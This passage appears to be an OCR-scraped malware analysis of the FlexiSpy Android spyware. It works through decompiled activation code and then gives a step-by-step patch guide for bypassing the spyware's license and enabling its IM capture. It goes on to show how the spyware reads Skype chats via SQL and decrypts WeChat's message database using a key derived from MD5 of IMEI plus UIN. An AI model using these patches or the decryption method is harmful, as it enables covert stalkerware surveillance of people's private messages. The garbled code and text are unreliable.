this.mActivationList: onError (argl3.getE Type (), argl3. de(), argli. 0):

, "handleResponseActivate # EXIT'):

Figure 9. The function handleResponseActivate() of the class ActivationManager

Regardless if the activation is successful, the progrom could finally invoke the onLicenseChange() in class
com.vvt.appengine.AppEngine.



public wvoid onlicenseChange() {
if {(AppEngine.lOGV) {
FxLog.v("AppEngine", "onlLicenseC

@

# ENTER ...");

'

LicenseInfo v2 = this.mComponent.licenseManager.getlicenseInfo();

| boolean vl = v2.getlicenseStatus() == LicenseStatus.ACTIVATED ? true : false; |
String v0 = v2.gethActivationCode():
if (AppEngine.LOGD) {

FxLog.d("AppEngine", "onLicenseC %s", new Chject[]{B n.valuelf (v1), w0l):
}
try {
if (AppEngine.LOGV) {
FxLog.v("AppEngine", "onLicense ge # Apply current license");
3
|J§ppE.ngineHalpex:.apply(mrnentLlr.ense (this.mComponent) ; I
if(vly |
if (AppEngine.lOGD) {
FxLog.d("AppEngine", "onLicens nged 4 Start send heart beat timer"):
}

this.startGetConfigurationTimer () ;
if (AppEngine.LOGD) {
FxLog.d ("AppE

ne", "onlLicens

d # Forcing Logouts");

this.forcelogout() 7
if (this.mComponent.playStoredutoupdatedppsManagerImpl == null) |
goto label 527

this.mComponent.playStorsAutoupda tedppsManagerImpl. setDisable (true) ;
goto label_352;

}

if{v2.getlicenseStatus() != LicenseStatus.NOT ACTIVATED) |
goto label 52:

}

Figure 10. The function onLicenseChange() of the class com.vvt.appengine.AppEngine

public static woid applyCurrentlicense (AppEngineComponent argf) |
if (AppEngineHelper.LOGD) {
FxLlog.d("AppEngineHelper", "applyCurrentLicense # ENTER ..."):

List vl = v0.getSupportedFeaturesa() s

if (AppEngineHelper.LOGD) {
Fxlog.d("A ngineHelper", "

CurrentlLicense # supported feature:" + v1);

}

|!Cap w2 = wl.getSupportedRemocelmds () ; |
if (AppEngineHelper.LOGD) {
FxLlog.d("AppEngineHelper", "applyCurrentLicense # supported remote cmds:" + v2);

i

if (RppEngineHelper.LOGD) {

Fxlog.d("A ngineHelper", "a CurrentLicense #

remote control");

}
AppEngineHelper.updateRemoteControl {args, vl): I

if (AppEngineHelper.LOGD) {
Fxlog.d("A ngineHelper", "a

CurrentLicense #

feature components");

}

| tppEngineHelper. updateFeaturea (argé, vi, v2): |
if (AppEngineHelper.LOGD) {
FxLlog.d("AppEngineHelper", "

o

CurrentLicense # EXIT ...");

i

Figure 11. The function applyCurrentLicense()of the class AppEngineHelper

In the function applyCurrentLicense(), it first gets the current configuration, then gets supported feature and
remote commands depending on the configuration, then updates remote commands and feature components.



public static Configuration getCurrencConfiguration(2ppEngineComponent arg4) {
LicenseInfo vl = argd.licenseManager.getlicenseInfo():
int w0 =|v1.ga1:Ccn:'1g'uratic:nId{? .'|

if{vl.getlicenseStatus () == LicenseStatua.NOoT ACTIVATED) |
vl = -1;

}

else if (vl.getLicenseS5tatus() == LicenseStatus.EXPIRED) [
w0 = -2;

1

else if (vl.getLicenseStatus() = LicenseStatus.DISABLED) {
w0 = -3;

}

return |argd.configManager.getConfiguration (v0); |

Figure 12. The function getCurrentConfiguration()

The configuration id is got from license file, if activation is not successful, the configuration is -1.

public static void POEngineC argd, List argl0, Mzp argll) {
if (AppEngineiielp:
Fxlog.d{"AppEngine

Features # ENTER ..."):
i

boolean v2 =|arg9.licenseManager.isActivated (argd.productInfe, argd.phonelnfo.getDeviceIld()):

try [
FxPreferenc vE = argd.pref: :
FuPreference w3 = vi.getPreference (FxBreferenceType. EVENTS CTRI):
FxPreference v 2 £ eType.IM CAPTURE SETTINGS):
FxPreferen . = £ <Type. VOIP CALLRECORDING CAPTURE SETTINGS);
TrEngineRelper. argdl;
prEngineHelper.manageEventCenter(argd, argl0, v2, ((FrefEventsCapture)vs)):

ppEnginefslper.manageEventCapture (args,
2ppEnginelielper.manageSpyCall (arg9, argld, ¥2);
2ppEngineHelper.manageWatchNotification(argd, argl0, v2):

AppEngineBelper. manage¥eywords (argd, argll, v2);
AppEngineBelper.managelddressBook(argd, argll, v2, ((PrefEventaCapture)vi));
AppEngineBelper. manageSatteryManager (argd, argll, v2):
AppEngineHelper.managelpplicacionCapture (argd, argld, v2, ((PrefEventaCapture)v3)):
ppEngineHelper. manageCalendarCapture (argd, arglld, v2, ((PrefEventsCapture)v3));
AppEngineHelper.manageRrbientRecorder (axgd, argld, v2, ((PrefEventsCapture)vd)):
rrEngineHelper. MAnag: nitoring(arg?®, argll, v2, ((FrefEventsCapture)vi));
ppEnginefielper. manageFl 9, argll, v2, {(PrefEventsCapture)v3));

AppEngineHslper.manageFushiotification (argd)
AppEngineHslper. manageTemporal?ppControl (argd, argl), va2)s

argld, v2 PrefEventsCapture]v3 PrefIMCaptureSettings)vd PrefVoipCallRecordingCaptureSettings)vs
gl0, vz, P l E EL ' 32 gCap g l

argll);

Figure 13. The function updateFeatures()

In the function updateFeatures(), it updates the features including remote command manager, event capture, spy

call, database monitoring,etc.

So far we have understood the workflow of the product activation. in next section, let’s start to bypass the license.

How to Bypass License

1. Patch the configuration id. Back to Figure 12, we need to patch the value of v1. It's the configuration id.
The configuration file of FlexiSpy for android is the file 5002 in folder /data/misc/adn/ which is encrypted
with AES(AES/CBC/PKCS5Padding) algorithm. You can download the decrypted configuration file from
here, which is a XML format file(5002_decrypt). Then the program parses the XML file and creates configuration list.

The following is the configuration list.




_DRAWER,
© CAMERATMA

X G | IIIT
| s . MANAGEMENT , DﬁE 0K L PUSH_NO \TTO D: 205, es: [CAPTURE_CALLLOG,
CAPTURE_NALLPAPER, CAPTURE_CAMERATMAGE, CAP 0 CAPTURE_CALENDAR, €A TURE_C
i DR:
CAPTURE_VIDEO_RECORDING
> CALLLOG, CAPTURE | = FROM
[[ PTURE_CALLLOG, CAPTURE
ONTACT, CAPTURE_B CAPTURE
oM_Al ER, FKE-/EHT UNINS
LPAPER, CAPTURE_CA E

1, : 211,
CAPTURE_CALENDAR,
NUMBER, HIDE_FROM_APP !
APTURE_SMS, CAPTURE_E
A >TURE_TM, G

B L PPLICATION, CAPTURE_H
Y_CALL, pA ALL_INTERCEPT, CALL_WATCH Y
D,

LED_/ RDING,

LLPAPER, CAPTURE_CAMERAIMAGE, CA HURE
LICATION, CAPTURE_H
A A H

ORI ITOR_NUMBER, HIDE_FR
_RECORDING, mEIEuT BEDEG, [EIEE
HIDE_FR( _DR/

cAl FTHRE VIDEO_RECORDING, CA :rllkE LocaT

_NUMBER, HIDE_FROM
- SETTINGS]]

7nk- ER,

Figure 14. The configuration list

The list includes some pairs of ID and features. Each ID supported different features. Here we choose ID
210, it supports the following features.

TD: 210, Features: [CAPTURE CALLIOS, CAPTURE_SHS, 3
CAPTURE CALENDAR, CAPTURE CONTACT, CAPTURE TN, CAPTURE SROWSER URL,

[STM_CHENGE_NOTTFICATION, SPY_CALL, SMS KEYWORD, MONTTOR NUMSER, HIDE_
SEND_TNSTATLED APPS, PUSH NOTIFICATIONS,

CAPTURE_EMAIL, CAPTURE_MMS, CAPTURE CAMERAIMAGE, CAPTURE_ SOUND_RECORDING,

CAPTURE_APPLICATION, CAPTURE_HISTORICAL MEDIA, CAPTURE
FROM _APP MANAGER, HIDE_FROM APE_DRAWER,
CAPTURE_CALL RECORDING, AMBIENT RECORDING, REMOTE CAMERA

CAPTURE_VIDEO_RECORDING, CAETURE_LOCATION,
. SETTINGS, CAPTURE_VOIP_CALLLOG,
PREVENT_UNINSTALL, ADDRE
IMAGE, SEND DEVICE_ SETTINGS,

CAPTURE_SYSTEM,
CAPTURE_PASSWORD,
SS_BOOK_MANAGEMENT, SEND_ BOOKMARKS,

CALL RECORDING WATCH NUMBER,

Figure 15. The configuration ID 210 and supported features

CAPTURE_VOIP_CALL RECORDING],

The patched smali code is shown below.

tCu

nent

nTd()

Figure 16. The patched smali code of function getCurrentConfiguration

Patch the function isActivated in the class com.vvt.license. LicenseManagerimpl, we can patch the
function getLicenseStatuss and isMd5Valid and have their return value are always true



public boolean isActivated(ProductInfoc arg9, St
boolean v2 = true;
if (LicenseManagerImpl.LOGV) {
FxLog.v({"Licensed ger", "ishctivated # ENTER ..."):

;7 argll) |

i

boolean v0 = this.mLicenseInfo.getLicenseStatus() = LicenseStatus.ACTIVATED ? true : false;

boolean vl = this.isMd5SValid(this.mLicenseInfo, arg9, arglO);

if {(LicenseManagerImpl.LOGV) {
FxLog.v({"Licensel

g5, mdSvalid? %s", new Object[]{E

xn.valueQf (v0), B

an.valueOf (v1)});

1

if{LicenseManagerImpl.LOGV) |
Fxlog.v('LicenseManager”, "ishctivated # EXIT ..."}; Patch the return value of function getLicenseStatus()
1 and isMd5Valid() to make both v0 and v1 are true.

if(ivo 11 !vl) {
v2 = false;

i

return v2;

Figure 17. The function isActivated to be patched

We patch the function getLicenseStatus and isMd5Valid as follows.

Figure 18. The patched smali code of the function getLicenseStatus

st;->isEqual([B[B)Z

Figure 19. The patched samli code of function isMd5Valid

3. Patch the function updateGui of class com.phoenix.client.ActivationActivity.




Figure 20. The patched smali code of function updateGui

The corresponding java code in the function updateGui () in the class
com.phoenix.client.ActivationActivity is shown below. This code is located in client.

v1.setFunction (RemoteFunction. GET LICENSE STATUS) sl Due to bypass license, the value is always 1.
[this.miicenseStatusvalue = arglé.execute (v1).intvalue(): | ’ ! :

if (Activationhctivit

FxLog.v{"Activat

Gui # LicenseStatusValue: &s", new Object =r.valueOf (this.mLicenseStatusValue) }) ;

13

this.mIsActivated = this.mLicenseStatusValus — 0 2 false : true; —-"Here mOdiﬁ/ 0to lr if not it will Eﬂtly this branch to QEt
config Id, it can cause a exception when get config 1d

vl.setFunction (RemoteFunction. DEBUG GET ACTUAL CONFIG ID): from licenselnfo, because the licenselnfo is not stored in
this.mConfigld = argld.execute(vl); local storage by me

if (ActivationBctivit,
FxLog.v("Activat . Get Config Id: %s", new Cbject[]{this.mConfigId});
}
}
if (ActivaticnBetivity.LOGV) {
FxLog.v("Activat . 4 Get Config Id: %s", new Ol £[1{this.mConfigId]);

Figure 21. The decompiled java code in function updateGui

4. Patch the function activate in the class com.vvt.appengine.exec.ExecActivate.

public BmtCtrlActivateQutputStatusMessage activate (RmtCtrlInputActivation argl0, LicenseManager argll) |
if (Exechctivate.IOGV) |
FxLlog.v({"Ex ivate", "activate # ENTER ...");

- argl0.getAetivationCode () : Patch it to make 'if' statement condition is false.
= argl0.getUrl();
this.mOutput = new BmtCtrlActivatefutput3tatusMessage();
if {this.isProductAlreadyhctivated(argll)) {
this.m0utput.setSuccess (false);
this.mOutput.setMessage ("Product is already activated. Vour reguest will not be processed."):
BmtCtrlActivatefutputitatusMessage v4 = this.mOutput;
return v4;

1

this.mConditionVarizkle = new (false);
Activationlistener vl = this.getkctivationLiatener():
try {
if (Exechctivate. LOGV)
FxLog. v ("Exechctiv

", "activate # Activate product”

t

if (w3 == null || w3.trim{).length({) <= 0) {
this.mActivationManager.activate (v0, v1);

t

else |
this.mActivationManager.activate (v3, v0, wl);

}

Figure 22. The function activate in the class ExecActivate to be patched




Figure 23. The patched smali code of the function activate

5. Patch smali code in PrefIMCaptureSettings.smali for the class com.vvt.preference.PrefMCaptureSettings.
We patch the functions isXXXXXEnable() to have their return value be true.

Figure 24. The patched PrefIMCaptureSettings.smali

6. Patch the function managelmCapture in the class com.vvt.appengine. AppEngineHelper. We only patch
this function to enable IM capture, if you want to enable other spy functionality, you can find the related
function in class AppEngineHelper and patch it. This function is used to manage IM capture, here we patch
its local variables like isXXXEnabled and isXXXSupported as follows.



Patch it.

Figure 25. The patched smali code of the function managelmCapture

when you patch the six parts of smali code, one thing to note is that only the 3™ patch is located in client
(classes.dex in 5002_-2.25.1_green.APK), other five patches are located in code in
server(/data/misc/adn/maind.zip). The following is the steps of repackaging app.

a. Patch the 3™ smali code in classes.dex in APK file 5002_-2.25.1_green.APK, repackage the APK
with apktool, then sign and reinstall it.

b. Patch the other five smali codes in classes.dex in jar file maind.zip, compress it and push it into
the folder /data/misc/adn/maind.zip on the device.

c. Reboot the device.

After patching the six parts of smali codes, we can bypass the license. For now, the patched spy app has an ability
of spying IM. In next part, we will give two IM spy cases of FlexiSpy for android, they are Skype and WeChat.



Part 4: Two Spy cases on Skype and WeChat

In Part 3, we analyzed the workflow of product activation and bypassed the license. In this part, we will analyze two
IM spy cases of FlexiSpy for android. Let’s look into how FlexiSpy spies Skype and WeChat.

Spy on Skype for android

This section | will give an analysis of spying Skype. FlexiSpy uses FileObserver to monitor database file and shared
preferences file in private folder in Skype. Generally, in IM software on mobile device the chat messages are stored

as database file.

The following is the code snippet of monitoring database file
/data/data/com.skype.raider/files/kevinlu0306/main.db and shared preferences file.

SkvpelbserverCenter.lastOvnerId = vl1;
SkypelbserverCenter. this.mFxFileObserverforker = new FxFileCbserverWorker(SkypeCbserverCenter.this, w0):
SkypeCbserverCenter.this.mFxFileObserverforker

this.mSharedPrefObserverforker = new FxSharePrefCbserverWorker (this, v0);

this.mSharedPrefUbserverforker fatartWatchin

Figure 1. The code snippet ofr monitoring database and prefrencens file

Once a change is detected on the monitored file, it could do some things on monitored file. The database file
main.db is not decrypted, so it’s easier to spy Skype. It can get the chat messages through only executing some
SQL sentences.

The following is the key code snippet of getting chat messages from database.



public static
boolean v1_!

5

SOL

try {

e v10 = null;

turingHel 01

11) [

/List captureNewEvents(long argl4, String arglé, long argl7, ImParameters argld, boolean arg20, String arg2l) {

- Get skype account name, here it's kevinlu0306.

if(v0 = null) {
vE = 1

eDatabasedelper.getheadableDatabase (

9 Get database main.db

V10 = lper.

else
goto label 40:

1

goto label 237
}

goto label 26;

Vi_1 = false;

(6,

ents # isMojil

e mull?: ")

try {
label_23:
Fxlog.v(v2, v3.append(vl_1).toScring()):
label_z
w13
3
cateh (Throwable v1) |

kypeCapturingHelper.captureNevEventa (v0, argld, arglé, argl?, vé, argld, vé, arg20, wi0, arg2l):

Figure 2. The key code snippet of getting chat messages from database

The function SkypeCaptureHelper.getCurrentOwner() is used to get skype account name.

public static String getCurrentOwner() {

5

ing v0;

Class w2 = SkypeCapturingHelper.class; [data/data/com.skype.raider/ files/shared.xml

__monitor_enter(v2);
try |

wi =| SkypeCapturingHelper.getCurrentOwner (Skypeltils. DEFAULT SHARED PREFS PATH .'l

if (FxStringUtils.isEmptyOrNull {(vi)) {

vl = IS kypeCapturingielper.getCurrentOwner (SkypeUtils. SAMSUNG SHARED [PREFS PATH) ; |

}

1

catch(Thr le wl) [
_ monitor exit(v2);
throw vl

__monitor_exiti{v2):
return v0;

v

fdbdata/files/ com.skype.raider/filgs/ shared.xml

public static String|getCurrentOwner(

String arg2) I[

__monitor_enter(v0):
try {

= SkypeCapturingHelper.class;

vl 1 =| Skypeltils.getCurrentOwner (arg2) ; |

1

catch({Throwakle wl1) {
__monitor_exit(v0):
throw v1;

_ monitor_exit(v0);
return v1_1:

Figure 3. The function getCurrentOwner() of SkypeCaptureHelper



public static getCurrentOwner (5t
Class v5 = 3 Utils.class;
monitor_enter (v);
5 g w3 = null;

ng arglo) {

ory.newlnstance();

if (vl.exista()) |
int vi;
for(vZ = 0; v2 < 10: ++v2) {
if (SkypelUtila.LoGY) |
Fxlog.v( . , new Cbject[]{Int

-.valueOf (v2) }):

1

Vi = lEkype'Jl:ils‘readc'wner]ata(vﬂ, V1) ,'I
if(vd I= mull) {

break; \
1

Get the account name of Skype from shared.xml

emClock.sleep (1000) 7

1

catch (Throwable vd) [
__monitor_exit(w3);
throw v4;

1

__monitor_exit(w3);
return v3;

Figure 4. The function getCurrentOwner of SkypeUtils

The following is the content of shared.xml. It stores the account name inside Account tag.

Figure 5. The shared.xml of Skype app



public static Ar
if (SkypeCept:

© captureNewEvents (S

e argls, long arglé, String argls, long argld, Scring

argel, ImParameters arg22, 50

ase arg23, boolean arg24, SQL

String arg2

e o T e s el capt S ENTER.. vefid: 1502
V13 = new Arra
115
e query: SELECT DISTINCT m.id, convo_id, chatmsg_status, chatmsg_type, m.type, body_xml,
m.timestamp, author, from_dispname, participant_count, participants,

12 =|Sk: Ci Hell Querys H

)E(Slyp&.ap\:ul—lm:;eii::r;;z‘; ‘(’" getpuezryStatensat () play FROM m LEFT JOIN Conversations conv ON m.conva_id =
FxLog.v("S B fovmvente § quers: © + viz); | CONV.Id LEFT JOIN (SELECT * FROM Chats GROUP BY (conv_dbid)) as c ON m.convo_id =

o £ ¢ osprareneEe auers 217 c.conv_dbid WHERE m.id > ? AND m.id <= ? AHD (m.type I (61, 63, 68, 70, 201, 202, 253, 254, 255))ORDER BY m.id DESC
¥ 1592 1651
v3 = argls. ravguery (vi2, new Scrina(] (EEGTY + ', argls + )7

if(v3 !=mull) [
V13 = [SkypeCapruringfielper. kesplonversation (argl5, v3, argls, arg2l, argl2, arg23, arg2d, argds, arg2é):|

)
else L (SkipeCepturingieloer. 16GT) {
FxLog.d("sk

, "capturellevEvents # cursor is null"};

if(v3 !=mull) {
v3.close():

1

throw v2;
1
catch(Exc
try {
if (SkypeCapturingHelper. IOGE) {
ExLog.e("SkypeCapturingHelper”, "capturelNewEvents err ", ((Throwable)vll)):

on vi1) {

if(v3 == mull) {
goto lsbel 587
1

goto lab
1

1E(v3 1= mull) |

LE(S).;'pe\.ap:umngﬂelper 106V [
FxLog.v{"Sk turingHelper”, 'capturellevEvents 4 EXIT..."):
1

return v13;

1

Figure 6. The function CaptureNewEvents

In this line, v3 = arg15.rawQuery(v12, new String[]{argl6 + "", argl9 + ""});

This code is used to execute SQL select sentence. This SQL select query is shown below.

SELECT DISTINCT m.id, convo_id, chatmsg_status, chatmsg_type, m.type, body_xml, m.timestamp, author, from_dispname,
participant_count, participants, displayname FROM Messages m LEFT JOIN Conversations conv ON m.convo_id = conv.id LEFT
JOIN (SELECT * FROM Chats GROUP BY (conv_dbid)) as ¢ ON m.convo_id = c.conv_dbid WHERE m.id > 1592 AND m.id <= 1651
AND (m.type IN (61, 63, 68, 70, 201, 202, 253, 254, 255))ORDER BY m.id DESC

We copy the database file main.db in folder /data/data/com.skype.raider/files/kevinlu0306/ to local disk and open
it using SQLite Expert Personal 4.2 tool below. When we execute the above SQL query, the result of query is the
record that includes a tested chat message sent by me. The record includes chat message content, timestamp, chat

message type, message sender, message participants, etc. In this test case, the chat message sent is “Test
hahahha”.



Figure 7. The test message of Skype app

Database: main  File in.db SOLite ibrary: sqite3.dll 18,0 [FTS3 FTS4 FTSS RTREE]  Style: | Iceberg Classico -
+ [J main Database Data  DDL Design SQL

] Accounts SQL: *<Untitied>

7 Alerts

[ AppSchemaVersion

[T CallHandlers

-7 CallMembers

7 calls

[T ChatMembers

-7 Chats

[T ContactGroups.

7] Contacts

[T ContentSharings
c

1 SELECT DISTINCT m.id, convo_id, chatmsg_status, chatmsg_type, m.type, body_xml, m.timestamp, auchor, from dispname, participant_count, participants, displayname FROM
ON m.conve_id = conv.id LEFT JOIN (SELECT * FROM Chats GROUP BY (conv_dbid)) 2s o ON m.conve_id = c.conv_dbid WHERE m.id
201, 202, 253, 254, 255))0RDER BY m.id DESC

Bxecute QL

*<Untitled>

[T ConversationViews
[T DataChannels

[ DbMeta

7] LegacyMessages
[T MediaDocuments
~ MessageAnnotations
7 Messages

[T Participants

- sMses

7] tracker_journal
[T Transfers

-+ Translators.

[T VideoMessages
[T Videos

[T Voicemails

id

(empty)

convo_id
(empty)

chatmsg status chatmsg type
(empty) (empty)

type
(empty)

body_aml
(empty)

timestamp auther
(empty) (empty)

from_dispname
(empty)

participant_count
(empty)

participants
(empty)

displayneme
(empty)

» [

1615 750 1 3 61 Test hahahha 1404978622  kevinlu0306 | Kevin Lu 2| W———evinIu0306 Kevinlu |

Figure 8. The result of executing SQL query to get the chat message

The table Messages stores the information related to chat messages.

Database: main Table: Messages File:

0 man
[ Accounts

] Aerts.

[T AppSchemaVersion
7 CalHandlers

7 CaliMembers

7 calls

[T ChatMembers

[ Chats

[T ContactGroups

7] Contacts

[T ContentSharings
[ Conversations

[ ConversationViews
[T DataChannels

[T DbMeta

7] LegacyMeszages
7] MediaDocuments
[T MessageAnnotations

7] Messages

By db SQLite library: sqlite3.dil 3.18.0 [FTS3 FTS4 FTS5 RTREE]  Style: | Iceberg Classico
Database | Dats | DDL Design SQL
(W« ]> [ n]e][=]~[e][x|o Refresh
rowid  ~ id is_permanent convo_id chatname author from_dispname author was live guid dialog_partner timestamp. sending status
(empty) |fempty) [fempty) (empty) (empty) (empty) (empty) (empty) (empty) _|fempty) (empty) tempty) |(empty)
> 1615 1615 1 750 #kevinlu0306/SMM kevinlu0306  |KevinLu (null) 1494978622 61
1502 1502 1 750 kevinlu0306 | Kevin Lu (null) (null) 1494978131 61
1584] 1584 1 1561 Oy | kevinlu0305 | KevinLu (null) (nul) 1494877928 53
1579 1579 1 1576 Y kevinlu0306 | Kevin Lu (null) (null) 1494977928 53
1574 1574 1 1571 D | kevinluD306 Kevin Lu (null) (null) 1494977028 53
1569| 1569 1 1566 kevinlu0306  |Kevin Lu (null) (null) 1434977328 53
1564|1564 1 1567 (g kevinlu0306  |KevinLu (null) (null) 404977028 53
1550 1550 1 1556 | kevinlu0306. Kevin Lu (null) (null) 1494977928 53
1554) 1554 1 1551 (U | kevinlu0306  |Kevin Lu (null) (null) 1494977927 53
1549 1549 1 154 SR kevinlu0306 | Kevin Lu (nul) (nul) 404077027 53
1544 1544 1 1541 — kevinlu0206 Kevin Lu (null) (null) 1494077927 53
1539] 1539 1 1536 (N kevinlu0306  |Kevin Lu (null) (null) 1494977927 53
154] 1534 1 1531 kevinlu0306 | Kevin Lu (nul) (null) 404077027 53

Figure 9. The table Message stored chat messages

Let’s continue to trace the function keepConversation.



private static Arrayl
FReqResult vd3;
Direction v
if (SkypeCapruringHielper.10GV) {
FxLog.v( . ):
1

keepConversation (3

or argS4, String argS, String args, ImParameters argS7, SQ

ase argss, boolean argss, S

ing argél) {

BrrayList w47 = new Arraylist();
int v43 = 0,

Simpl at v31 = new S
if(args4.moveTolast () [

1F

%o v36 = SkypeCapturingHelper.getOwnerInfo(args3, argss, argse):
sk Data v7 = ne Data ()

fo V45 = nde: 0F

Conver nInfo v29 = new Conversationlnfo():

int w1 7g54.getInt (arg54.getColumnIndex ( )
for [2g54. getString (arg54. gerColunnlnden | v8="Test hahahha", it's the chat message tested
1¢ (SievpeCapturingie pes 10T | N

[Exzeg v . + vz

IE

v30 = arg54.getString (arg54.gesColumnIndex ( ;
largsa.1sNull (argsd.getColunnindex( )) 2 argSd.getlnt (argsd.getColumnlndex( oo
V26 I= 6 55 V26 I= 3) |

V44 = arg54.gesString(arg54. gevColumnIndex i

V46 = argsd.gerString(argss.gerColumnindex ( 0

= arg54.getlnt (arg54.getColumnIndex IE

long v14 = arg54.getlong (arg54.gesColumlndex( BE

long vE0 = v14 * 1000

— v32 = v31.format(new Date (vS0));

V39 = arg54.gesString(arg54.gevColumnIndex i

eCapturingHelper.10GY) {

FxLog.v( . + 26 + + 52 + +v8);

Figure 10. The function keepConversation

The log file related to chat message is shown below.

V/SkypeCapturingHelper ( 1308): (tid:78|SkypsCaptureThread) kespConversation # text (BODY XML) :[Test nananna]

V/SkypeCapturingHelper ( 1308): (tid:78|S5kypeCaptureThread) keepConversation # chatMsgType: 3 type: 61 Text:

Figure 11. The log file related to chat message

The spyware could create a folder .skp_store in path /data/misc/adn/, it includes two sub-directories
owner_profiles and user_profiles under directory .skp_store. The directory owner_profiles stores the profile
files(image file format) of owner, and the directory user_profiles stores the profile files(image file format) of
user(contacts).

n_store/o

Lo i s e O o B

Figure 12. Saved files in folder owner_profiles



Figure 13. Saved file in folder user_profiles

The log file of saving owner profiles and user profiles is shown below.

saveFile # ENIER ...

saveFile ¥ path: tda:a;'n.;.:craa.'.'.skc store/owner profiles/owner 1494378633868 |

V/FileUtil( 1308): (vid:78|SkypeCaptureThread) saveFile # EXIT ...

V/FileUril( 1 (tid:78 | SkypeCap nread) saveFile § ENTER ...
V/FileUtil( tid hread) saveFile # path:[73ata/misc/adn/.skp score/user profiles/user profile 148457883388%]
V/FileUtil( 1308): (tid:78|SkypeCaptureThread) saveFile # EXIT ...

Figure 14. The log file of saving owner profiles and user profiles

Spy on WeChat for android

This section | will give an analysis of spying Wechat. There’s a minor difference between spying Skype and spying
Wechat. For Skype, its database file is not encrypted, FlexiSpy can directly monitor the database and execute SQL
sentences to get the chat messages. But for Wechat, its database file is encrypted, FlexiSpy cannot directly execute
SQL queries to get the chat messages, so it’s required to decrypt the database file before executing SQL queries.

First, we give the screenshot of sending the chat message tested in Wechat.



oy |

e

Test wechat### . -
$8$ testwechat !

The chat message tested.

What's Fresh

Check for Updates

Terms and Privacy

e & 1 3

e < -

Figure 15. The message tested in Wechat and the version of Wechat

Like spying Skype, Flexispy monitors the database file in Wechat using FileObserver when spying Wechat.
Additionally, it also monitors shared preference file system_config_prefs.xml.

private void startDatabaseMonitorWithDatabasePath (S g arg5) [
if (this.mFxUserDBObserverforker == null) {
if (WeChatCbserver.LOGV) |

'startD {¥s) monitoring", new Cbject[]{arg5}):

FaLog.wv ("W
}

this.mFxUserDBObserverforker = new[FxFileObssrverforkerdthis, zrgoid
this.mFxUserDBObserverforker Eiktad Eiddbidi§]: |

1
else |
if (!WeChatObserver.LOGE) {
return;
F
FxLog.e ("vWeChatObserver", onitorWithD # ady running”);
1

Figure 16. The function StartDatabaseMonitorWithDatabasePath

private void starcSystemConfigPrefFilecbserver() [
if (this.mSystemConfigPrefFiletbserver = null) |
if (WeChatObserver. IOGV)
Fxlog.v{"WeChatObserver”, "start

Path # Start database (8s) monitoring", mew Object[]{"/data/data/com.tencent.mm/share;

1

this. mSystemConfigPrefFileObserver = new SystemConfigPrefFileCbserver(this, '[data/data/con fencent mm/shared prefs/systen config prefs wmi]):

this. nSystenConfigPrefFiletbserver [Tt LETIF |
1
else
1f(!WeChatObserver.LOGE) {
return;

b

ng")

FxLog.e (WeChatin
1
1

Figure 17. The function startSystemConfigPreFileObserver()

Once a change is detected on the monitored file, it could do some things on monitored file.


https://developer.android.com/reference/android/os/FileObserver.html

In the class com.vvt.capture.wechat.WeChatUtil, the function copyDatabaseTolLocalFolderAndDecrypt is used to
copy database file from private folder of Wechat to local folder, get the decryption key and then decrypt the
database file that contains Wechat chat messages.

Before copying database in Wechat to local folder, it needs to find the path of database in Wechat.

The following function getCurrentOwner() is used to get folder name of current owner in Wechat.

public static S getCurrentOwner () {
if (WeChatCapturingHelper.LOGV) {
Fxlog.v( . 5

g w0 = null; ..—-——-_'_'_-’ Get uin from /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml,
= = WeChatUtil.getUin():] here uin is "1028071100",
if (!FxStringUtils.isEmptyOrNull (v2)) |
try {
v0 =[WeChatCapturingHelper.mds ( + m:l-'_"b
1““*einaFcap‘“?f’*33ELPE:'LGW’ i v0 = md5("mm"+"1028071100") ="ed539505124b60982bc82d875e61a2c0"
goto label 25;
1
FxaLlog.v( B , new Chject[]{v0});

on wi) |
ChatCapturingHelper.LOGE) {
goto label 25;

Figure 18. The function getCurrentOwner()

The function WeChatUtil.getUin() is used to get uin from shared preferences file
/data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml. The following is the screenshot of file
system_config_prefs.xml.

Figure 19. The screenshot of file system_config_prefs.xml.

The folder name of current owner is a MD5 hash code ed539505124b60982bc82d875e61a2c0 that is calculated
from md5(“mm1028071100”). So the full path of the database file
/data/data/com.tencent.mm/MicroMsg/ed539505124b60982bc82d875e61a2c0/EnMicroMsg.db.

The database file EnMicroMsg.db is the message database of Wechat and encrypted with AES algorithm.

Next, | look into the function copyDatabaseTolLocalFolderAndDecrypt and see how to decrypt the database file
EnMicroMsg.db.



The following code is the key code snippet of decrypting the encrypted message database EnMicroMsg.db.

r2 = LimitedWeChatUtil.getBusyboxPath (arg2é);
r13 = WeChatlril.copyDatabaseToLocalfolder (vid, arg27, v2, arg2s):
String v20 =[Fath.combine(arg26, "panzer'); |
if(1ShellUtil, iaFileExiated (v20)) [ TP data/misc/adn/panzer
if (WeCnatTeil.I0GE) |
FXLog.e("WeChatUtil”, "copyDatabaseTolo

calFolderAndDecrypt # %s does not exists...

» Dew Object(]{va0});
¥

return v5;

}

_  _p KEY=5fa3dbd

[data/misc/adn/panzer fdata/misc/adn/com.tencent.mm/EnMicroMsg.db

v13l) ;]
T v

Va0

/ SQL sentences to decryption in SQLCipher

reErat ad = VITLLVELETUINT -
while (v1l.hasNext
String v13 =|vld.exec(vil.next()):| —
e E 5Q1L 2 to de: l 3
LF {WeCtntOo T T T Execute SQL sentence to decrypt database
continue;

}

FxLog.v("WeChatUtil", “copy aseTol.

W Exit from SQLCipher.

+ v15):
}

vid.exec(" exit");

Figure 20. The key code snippet to decrypt EnMicroMsg.db

The function getDecrypKey is used to get the decryption key.

privat

static String getDecryptey(String argd, String arglo) |

ng v3 = WeChatUril.getOin{);

vl = null;

{FxStringltils, isEmptyOriull (v
3 = String.formac{"&s

1) {

&s cut -¢ -7", argld, argd, v3, arglo, HNOJ:I

» new Coject[]{v0}): l

fdata/misc/adn/busybox echo -n GEEEEENNNN 1023071100 | /data/misc/adn/busybox mdSsum | /data/misc/adn/busybox cut -c -7

Figure 21. The function getDecrypKey

The algorithm of getting decryption key is shown below.
Decryption KEY = MD5(IMEI + UNI)[0:7]
Md5 = 5f834bde5191807f2812ff49eba5fe36

KEY = 5f834bd

After getting the decryption key, Flexispy uses SQLCipher to decrypt the database file EnMicroMsg.db.



The binary file /data/misc/adn/panzer is SQLCipher version 3.11.0 which is an open source extension to SQLite that
provides transparent 256-bit AES encryption of database files.

The SQL sentence of decrypting database in SQLCipher is shown below.
PRAGMA key = '5f834bd’;

PRAGMA cipher_use_hmac = OFF;

PRAGMA cipher_page_size = 1024;

PRAGMA kdf_iter = 4000;

